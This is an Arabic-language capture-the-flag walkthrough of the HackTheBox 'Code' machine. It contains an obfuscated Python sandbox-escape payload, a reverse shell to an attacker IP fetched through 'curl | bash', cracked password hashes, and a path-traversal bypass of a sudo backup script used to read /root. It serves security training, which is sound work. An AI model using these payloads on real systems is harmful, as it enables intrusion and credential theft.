> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md).

# شرح Code HackTheBox

{% embed url="<https://app.hackthebox.com/machines/653>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال SSTI – محرر كود بايثون
* استخراج قاعدة بيانات SQLite وكسر التجزئة
* تجاوز backy.sh عبر التلاعب بالمسار (تصعيد الصلاحيات)
* استخراج أرشيف Tar من دليل الجذر
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/a80710c601a582bec63883fd7dff3e441ecbca91" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/7deebcd67cf74a2519edd8c9a876f9aeabd3db1b" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.62 -oG allPorts
```

<figure><img src="/files/d8bfa760db1f9b432e9caa3d5c7ee554dd1eb211" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (22.5000)

```bash
nmap -sCV -p22,5000 10.10.11.62 -oN targeted
```

<figure><img src="/files/f7b0bdfca4c7fbfe32fc0d5755b3c6f2467c466f" alt=""><figcaption></figcaption></figure>

## استغلال SSTI – محرر كود بايثون

<figure><img src="/files/64872fa9153bdc18d4747b93c57bd516c525e252" alt=""><figcaption></figcaption></figure>

تم العثور على محرر كود بايثون على المنفذ 5000. أثناء محاولات الحقن المعتادة (`import os`, `exec`، إلخ)، يتم توليد أخطاء.

<figure><img src="/files/b183b5208cc1f7c2bba429216987cdadce2b3fbd" alt=""><figcaption></figcaption></figure>

للتغلب على القيود، نستخدم حلقة لتحديد فئة تتيح الوصول إلى الدوال المدمجة (`__builtins__`):

```python
for i in range(500):
    try:
        x = ''.__class__.__bases__[0].__subclasses__()[i].__init__.__globals__['__buil'+'tins__']
        if 'ev'+'al' in x:
            print(i)
    except Exception as e:
        continue
```

> تحاول حلقة بايثون هذه استغلال حقن القوالب من جهة الخادم (SSTI) عبر البحث في الأصناف الفرعية لكائن بايثون الأساسي (`object`) عن فئة تكشف البيئة العامة (`__globals__`) من خلال `__init__` الطريقة. في كل تكرار، يسترجع قاموس الدوال المدمجة (`__builtins__`) عبر إعادة بناء اسمها لتجنب التصفية البسيطة. إذا كان الكائن يحتوي على `eval` الدالة، تتم طباعة فهرس الفئة. تُستخدم هذه التقنية عادةً للوصول إلى دوال خطرة مثل `eval`, `exec`، و `بفتح`.

<figure><img src="/files/d07a6fce7ab7ac82e3df43eba7c245adbf59c33a" alt=""><figcaption></figcaption></figure>

### قراءة `/etc/passwd`

بمجرد تحديد الكائن الذي يحتوي على `eval` ، نقوم بتنفيذ:

{% code overflow="wrap" %}

```python
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /etc/passwd").re'+'ad()'))
```

{% endcode %}

يكشف هذا عن مستخدمين اثنين: `مارتن` و `production`.

<figure><img src="/files/8328dcabe1a179309bc565048f665e05e88d9c92" alt=""><figcaption></figcaption></figure>

### **شل عكسي**

#### الاستماع على المنفذ 443:

```bash
nc -nvlp 443
```

#### سكربت غلاف عكسي:

أنشئ `index.html` ملف يحتوي على:

{% code overflow="wrap" %}

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.90/443 0>&1
```

{% endcode %}

تشغيل خادم ويب:

```bash
python3 -m http.server 80
```

حقن الحمولة:

{% code overflow="wrap" %}

```bash
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("curl http://10.10.14.90 | bash").re'+'ad()'))
```

{% endcode %}

<figure><img src="/files/988ec358c74e1bc2cc59574995cb0cc36ca0349c" alt=""><figcaption></figcaption></figure>

#### التعامل مع الطرفية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/66510bc9817e47a0cd42df9cbc7e2e9de18d2b93" alt="" width="563"><figcaption></figcaption></figure>

## تصعيد الامتيازات

### الوصول عبر SSH باستخدام المستخدم `مارتن`

<figure><img src="/files/44cdffbd1ae8ed11ffa2a48d6583601ac6406c34" alt=""><figcaption></figcaption></figure>

نكتشف ملفًا `database.db` ملف. يكشف الفحص عبر SQLite عن مستخدمين اثنين (`development`, `مارتن`) مع تجزئات كلمات المرور.

```sql
sqlite3 database.db
```

<table><thead><tr><th width="374">المستخدمين</th><th>تجزئات</th></tr></thead><tbody><tr><td>development</td><td>759b74ce43947f5f4c91aeddc3e5bad3</td></tr><tr><td>مارتن</td><td>3de6f30c4a09c27fc71932bfc68474be</td></tr></tbody></table>

<figure><img src="/files/82dc82713ef0ece10eb6b3ac1ba01543196bfa4e" alt=""><figcaption></figcaption></figure>

اكسر كلمات المرور باستخدام [CrackStation](https://crackstation.net/)، ثم اتصل:

{% embed url="<https://crackstation.net/>" %}

<table><thead><tr><th width="374">المستخدمين</th><th>تجزئات</th></tr></thead><tbody><tr><td>development</td><td>development</td></tr><tr><td>مارتن</td><td>nafeelswordsmaster</td></tr></tbody></table>

<figure><img src="/files/b9c0ea663b61725ee89a02c7604e43ac9ee1c4f1" alt=""><figcaption></figcaption></figure>

```bash
ssh martin@10.10.11.62
```

<figure><img src="/files/fb6124d4deca28632db02d6a774d41e26866a5aa" alt=""><figcaption></figcaption></figure>

### سودو - backy.sh (نص برمجي)

نتعلّم أن `مارتن` يمكنه تشغيل `/usr/bin/backy.sh` بصفتِه الجذر.

```bash
sudo -l
```

<figure><img src="/files/f56a7592d5fc6e0a9aa90306b27eb2e6cd31f52d" alt=""><figcaption></figcaption></figure>

**يفحص النص البرمجي:**

* ما إذا كان ملف JSON المحدد موجودًا،
* أن كل مسار في `directories_to_archive` يقع ضمن `/var/` أو `/home/`,
* يُزيل `../` التسلسلات عبر `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "الاستخدام: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "خطأ: لم يتم العثور على الملف '$json_file'."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "خطأ: $dir غير مسموح به. يُسمح فقط بالمجلدات الموجودة تحت /var/ و /home/."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**تجاوز:**

نقوم بإعداد `pwned.json` الملف:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

التنفيذ:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/60cf01ea7232cf859d97df8724648aebed829ea5" alt=""><figcaption></figcaption></figure>

فك الضغط:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```

### العلم root.txt :)

<figure><img src="/files/49165dec92645b7b338fc77574dc2c483782e384" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7ba003f4e4d60d3134d6d15c6b427254a8b71baf" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/code-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
